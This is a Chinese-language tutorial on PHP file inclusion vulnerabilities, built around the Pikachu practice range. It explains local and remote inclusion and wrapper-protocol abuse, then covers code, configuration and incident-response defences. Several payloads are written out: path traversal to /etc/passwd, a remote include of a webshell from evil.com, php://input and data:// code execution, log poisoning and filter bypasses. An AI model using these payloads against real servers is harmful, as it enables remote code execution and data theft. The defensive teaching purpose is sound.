1. 项目概述:为什么文件包含漏洞是PHP安全的重灾区?
如果你接触过PHP安全,或者玩过像Pikachu这样的Web渗透测试靶场,那么“文件包含漏洞”这个词你一定不陌生。它不像SQL注入那样直接窃取数据,也不像XSS那样直观地弹个窗,但它的危害性往往更大,因为它能直接让攻击者执行任意代码,甚至拿到服务器的控制权。我处理过不少应急响应案例,很多服务器被“黑”的入口,就是一个不起眼的文件包含参数。这个漏洞的原理并不复杂,但正因为其利用条件相对宽松,且常与开发人员的配置疏忽紧密相关,使它成为攻击者最青睐的武器之一。
简单来说,PHP文件包含漏洞的核心,就是程序在引入外部文件时,没有对用户输入的文件路径进行严格的过滤和校验。攻击者通过操控这个路径参数,可以让服务器去包含并执行一个本不该被执行的恶意文件。从Pikachu靶场里那些设计好的、安全的实验环境,到真实世界中那些配置各异的线上服务器,理解这个漏洞的成因、利用手法以及防御策略,是每一位PHP开发者、运维人员和安全从业者的必修课。今天,我就结合靶场实战和真实环境中的经验,带你彻底拆解这个漏洞,并分享一套从代码到配置的立体防御思路。
2. 漏洞原理深度拆解:include/require 背后的风险
要防御,必须先透彻理解攻击是如何发生的。PHP中用于文件包含的函数主要有四个:include、include_once、require、require_once。它们的区别在于处理错误的方式(require在失败时会产生致命错误并停止脚本,include只会产生警告)以及是否重复包含。但就漏洞而言,它们面临的风险是完全一致的。
2.1 动态包含的“便利”与“陷阱”
漏洞产生的典型场景是动态文件包含。开发者为了代码的复用和模块化,常常会写出这样的代码:
<?php $page = $_GET['page']; // 例如,用户传入 ?page=about.php include('/pages/' . $page); ?>这段代码的初衷很好:根据用户请求动态加载不同的页面内容,比如“关于我们”、“联系我们”。在Pikachu靶场的文件包含关卡里,你看到的正是这种模式。问题在于,$_GET[‘page’]这个变量完全由用户控制。攻击者传入的,可能就不是about.php了。
2.2 两种包含类型:本地与远程
文件包含漏洞主要分为两类,理解它们的区别对后续的利用和防御至关重要。
本地文件包含:攻击者通过漏洞,让服务器包含并执行本地文件系统上的一个文件。这个文件不一定是.php后缀。例如,攻击者可以尝试包含系统的密码文件:?page=../../../../etc/passwd。这里使用了目录遍历符../来跳转目录。更危险的是,如果服务器配置允许(比如allow_url_include关闭,但其他条件满足),攻击者还可以包含诸如/proc/self/environ(环境变量)、/var/log/apache2/access.log(访问日志)等文件,并通过对这些文件注入PHP代码来最终实现代码执行。
远程文件包含:这是杀伤力更大的一种。当PHP配置中的allow_url_fopen和allow_url_include选项均为On时,include等函数可以包含远程服务器上的文件。攻击者可以构造一个URL:?page=http://evil.com/shell.txt。这个shell.txt文件的内容是一段PHP代码(如<?php system($_GET[‘cmd’]);?>)。当服务器包含这个URL时,就会下载并执行其中的PHP代码,相当于攻击者直接将自己的木马传到了目标服务器上执行。
注意:在真实环境中,由于安全意识的提升,
allow_url_include默认通常是Off的,因此RFI的利用条件比LFI更苛刻。但绝不能因此放松警惕,因为通过LFI配合其他技巧(如日志注入、文件上传)同样能达到远程代码执行的效果。
2.3 漏洞利用的关键“助手”:封装协议
PHP强大的文件系统封装协议在提供便利的同时,也成了文件包含漏洞的“倍增器”。即使不能远程包含,攻击者也可以利用这些协议进行各种敏感操作。
php://filter:这是最常用的读取文件内容的协议。它可以在包含文件前,先对文件流进行编码处理。例如,?page=php://filter/read=convert.base64-encode/resource=index.php。这行代码会让服务器以Base64编码的形式读取index.php的源码并输出。因为include会执行PHP代码,但通过filter编码后,代码被转换成文本,从而避免了执行,实现了源码泄露。这在Pikachu靶场和CTF比赛中非常常见。php://input:这个协议允许你访问请求的原始数据流。当allow_url_include开启时,攻击者可以这样利用:?page=php://input,并在POST body中直接写入PHP代码<?php system(‘whoami’);?>。服务器会将这些数据作为文件内容包含并执行。data://:类似地,data协议可以嵌入数据。例如:?page=data://text/plain,<?php phpinfo();?>或?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+(Base64编码的phpinfo)。这相当于在参数里直接内置了一个可执行文件。zip://,phar://:这些协议可以用于包含压缩包内的文件。如果网站有上传功能,攻击者可能上传一个包含恶意PHP脚本的ZIP文件,然后通过?page=zip:///path/to/upload.zip%23shell.php来包含执行其中的脚本。%23是#的URL编码,用于指定压缩包内的文件。
理解这些协议,你就明白了为什么一个简单的文件包含参数能衍生出如此多的攻击路径。在Pikachu靶场中,这些利用方式大多有对应的关卡,帮助你逐一体验。
3. 从靶场到实战:Pikachu关卡深度复盘与技巧延伸
Pikachu靶场提供了一个绝佳的无风险实验环境。我们不仅仅要“通关”,更要理解每一关背后模拟的真实场景和可以延伸的技巧。
3.1 关卡一:基础本地文件包含
靶场场景:通常是一个简单的include($filename),并且$filename直接来自$_GET。
通关操作:利用../进行目录遍历,读取../../../../etc/passwd等敏感文件。
实战延伸与思考:
- 绝对路径 vs 相对路径:在真实漏洞利用中,你需要判断包含使用的是相对路径还是绝对路径。如果是绝对路径(如
include(‘/var/www/html/’ . $file)),单纯的../可能无法跳出根目录。这时需要结合其他信息泄露(如错误信息)来猜测绝对路径。 - 文件后缀限制:有些代码会为传入的参数自动添加后缀,如
include($file . ‘.php’)。这时直接包含非.php文件会失败。绕过方法之一是使用%00(空字节截断),但这在PHP版本 >= 5.3.4 且magic_quotes_gpc=off时才可能生效,现代PHP环境已基本失效。更通用的方法是利用前面提到的封装协议,或者寻找不需要后缀也能被解析的文件(如配合文件上传)。 - 利用日志文件:这是一个经典的LFI到RCE的转换技巧。如果Apache/Nginx的访问日志可读(如
/var/log/apache2/access.log),攻击者可以在User-Agent或请求路径中插入PHP代码(例如,访问<?php system($_GET[‘c’]);?>)。然后通过LFI包含这个日志文件:?page=../../../../var/log/apache2/access.log&c=id,服务器在包含日志文件时,会将其中的PHP代码解析执行,从而在参数c中传入系统命令。
3.2 关卡二:远程文件包含
靶场场景:配置中allow_url_include被开启。
通关操作:直接在参数中传入一个远程URL,指向托管在公网上的文本文件,内容为PHP木马。
实战延伸与思考:
- 现代环境中的RFI:由于安全原因,
allow_url_include在php.ini中默认是Off的。在真实漏洞挖掘中,遇到RFI的机会较小,但一旦发现就是高危。检查目标phpinfo()信息是第一步。 - 绕过URL检测:有些防御代码会检查参数是否以
http://开头。绕过方式包括:使用http://(双写)、http://(利用浏览器特性或重定向)、或者使用data://、php://input等协议,它们同样能达到远程代码执行的效果,但可能不被简单的字符串匹配规则拦截。
3.3 关卡三:利用封装协议
靶场场景:展示了php://filter读取源码和php://input执行代码。
通关操作:
php://filter:读取网站配置文件、数据库连接文件等,获取敏感信息。php://input:在POST body中直接写入代码。
实战延伸与思考:
filter协议的多重编码:除了convert.base64-encode,还可以使用convert.iconv.*进行字符集转换,有时能绕过一些简单的过滤。例如convert.iconv.UTF-8.UTF-16LE可以将文件内容以另一种编码形式输出。input协议的利用条件:allow_url_include=On是必要条件。在php://input中提交的代码,不需要<?php ?>标签闭合,因为整个POST body都会被当作代码执行。这常用于无文件Webshell的构造。data协议与长度限制:data://协议通常有长度限制,不适合传递很长的代码。可以用于执行简单的命令,或者用于包含一个更短的、用于下载远程大马的初始化脚本。
3.4 从靶场到真实漏洞挖掘的思维转变
在靶场里,漏洞点很明显。在真实网站中,你需要:
- 寻找包含点:搜索代码中的
include,require,include_once,require_once,关注它们的参数是否用户可控。参数可能来自$_GET,$_POST,$_COOKIE,$_SERVER中的某些字段(如HTTP_REFERER,HTTP_USER_AGENT)。 - 判断过滤机制:尝试输入
../../etc/passwd,观察是返回了文件内容、报错、还是被重定向/拦截。报错信息可能泄露路径。 - 尝试协议利用:直接测试
php://filter/resource=index.php,看是否能读到源码。测试data://text/plain,<?php echo ‘test’;?>看是否有回显。 - 结合其他功能点:单独的文件包含可能受限,但如果网站存在文件上传功能,你可以上传一个图片马(图片内容包含PHP代码),然后通过LFI包含这个图片文件,如果服务器配置不当(如未重置
Content-Type,或存在解析漏洞),就可能执行代码。
4. 立体化防御策略:从代码编写到服务器配置
防御文件包含漏洞,绝不能只靠一招一式,需要一个从内到外的立体化方案。
4.1 代码层防御(治本之策)
这是最核心、最有效的防御层。
1. 白名单机制绝对不要使用黑名单过滤../、http://等字符,绕过方法太多。应该采用白名单。
<?php $allowed_pages = ['home.php', 'about.php', 'contact.php']; $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include('./pages/' . $page); } else { include('./pages/404.php'); // 或直接 die(‘Invalid page request’); } ?>如果业务逻辑必须动态,也应将映射关系存储在数组或数据库中,通过数字ID或安全的键名来查找对应文件,而非直接使用用户输入作为路径。
2. 固定目录前缀,避免目录穿越在包含前,将用户输入限制在某个安全目录下。
<?php $base_dir = '/var/www/html/includes/'; $file = $_GET['module']; $full_path = $base_dir . $file; // 关键检查:确保最终路径仍在安全目录内 if (strpos(realpath($full_path), $base_dir) === 0) { include($full_path); } else { die('Access denied.'); } ?>这里使用realpath()解析出规范化的绝对路径,再检查其是否以$base_dir开头。注意realpath()在文件不存在时会返回false。
3. 避免动态包含,使用路由或映射这是现代框架(如Laravel, ThinkPHP)的做法。用户访问/about,由路由解析为AboutController的某个方法,完全剥离了“文件包含”这个概念。自己写项目时,也应尽量采用这种模式。
4.2 配置层防御(加固环境)
即使代码有瑕疵,严格的服务器配置也能构成第二道防线。
1. PHP配置(php.ini)这是防御的重中之重,务必在线上环境进行如下设置:
allow_url_fopen = Off:禁止打开远程文件。这会影响fopen()等函数,能阻断一部分RFI。allow_url_include = Off:必须关闭。这是阻止include(‘http://...’)和php://input、data://协议用于包含的关键设置。在PHP 5.2之后,此选项默认关闭,但一定要确认。open_basedir = /var/www/html/:将PHP可操作的文件系统限制在网站根目录下。即使包含漏洞存在,攻击者也无法跳出这个目录去读取/etc/passwd等系统文件。注意:open_basedir不是万能的,它自身也有一些绕过方法,且可能影响某些扩展的正常工作,需结合其他措施使用。disable_functions = exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,dl, ...:在php.ini中禁用危险函数。即使攻击者通过包含漏洞写入了Webshell,也无法执行系统命令,极大降低了危害。这是生产环境的标准做法。
2. Web服务器配置
- 权限最小化:运行PHP-FPM或Apache进程的用户(如
www-data,nginx)应该是一个低权限用户,只拥有对网站根目录的必要读写权限,绝不能是root。 - 日志文件权限:确保Web服务器日志文件(如
access.log)对PHP进程是只读的,防止攻击者通过LFI写入日志来注入代码。 - 目录访问限制:在Nginx/Apache配置中,对上传目录、临时目录等设置规则,禁止执行PHP脚本。
# Nginx 示例:禁止上传目录执行PHP location ~* ^/uploads/.*\.(php|php5|phtml)$ { deny all; }
4.3 运维与安全层防御(持续监控)
1. 定期安全扫描与代码审计使用静态代码分析工具(如phpcs配合安全规则、RIPS、SonarQube)扫描项目代码,自动发现可能存在漏洞的include/require语句。同时,养成代码审查的习惯。
2. 部署Web应用防火墙在服务器前端部署WAF(如ModSecurity, 云WAF),可以识别并拦截常见的文件包含攻击payload,如../,php://,etc/passwd等。WAF可以作为一道有效的缓冲,但不应作为唯一依赖。
3. 监控与告警对服务器的文件系统进行监控,关注在非上传目录、非缓存目录下突然出现的可疑.php、.phtml、.txt文件。监控Web访问日志,寻找包含异常参数(长字符串、大量../、封装协议特征)的请求,并设置告警。
5. 真实环境下的漏洞排查与应急响应
当怀疑或确认存在文件包含漏洞时,应该怎么做?
5.1 漏洞排查 Checklist
- 代码回溯:立即全局搜索源代码中的
include,require,include_once,require_once。重点检查其参数是否为$_GET,$_POST,$_COOKIE,$_SERVER[‘HTTP_*’]等用户可控变量。 - 配置检查:登录服务器,查看
php.ini中allow_url_include和allow_url_fopen的设置。检查open_basedir是否配置且范围合理。查看disable_functions列表是否完备。 - 日志分析:仔细检查Web访问日志(
access.log)和错误日志(error.log),围绕漏洞发现时间点,寻找异常的请求路径和参数。攻击者进行目录遍历或协议利用时,会在日志中留下明显痕迹。 - 文件系统检查:使用
find命令或安全扫描工具,检查网站目录及临时目录下是否有新增的、可疑的、非项目原有的文件,特别是可执行脚本文件。find /var/www/html -name “*.php” -mtime -1 # 查找一天内修改过的php文件 find /var/www/html -type f -name “*.jpg” -exec grep -l “<?php” {} \; # 在jpg文件中搜索php标签
5.2 应急响应步骤
- 隔离:如果可能,立即将受影响的服务器或应用从网络中断开,防止进一步渗透和数据泄露。
- 清除后门:根据排查结果,删除攻击者上传的Webshell或恶意文件。注意:不要只删除一个,攻击者通常会上传多个备用后门。
- 修复漏洞:根据漏洞成因,采用上述“代码层防御”策略,修改源代码。如果是第三方组件漏洞,立即升级到安全版本。
- 加固配置:复查并加固服务器和PHP配置,确保
allow_url_include=Off,设置open_basedir,更新disable_functions。 - 恢复与验证:在修复并加固后,将服务恢复。进行全面的功能测试和安全扫描,确保漏洞已被彻底修复且未引入新问题。
- 复盘与记录:记录整个事件的时间线、攻击手法、影响范围和修复过程。更新安全开发规范,对团队进行培训,避免同类问题再次发生。
文件包含漏洞是一个经典的“小漏洞,大危害”的案例。它在Pikachu靶场里看起来人畜无害,但在真实环境中,往往是与文件上传、日志注入、配置不当等问题结合,形成致命的攻击链。防御它没有银弹,需要开发者、运维和安全人员共同协作,在代码编写、服务器配置和日常监控三个层面建立起纵深防御体系。理解原理,善用靶场练习,并时刻将安全思维融入开发运维的每一个环节,才是应对这类漏洞的根本之道。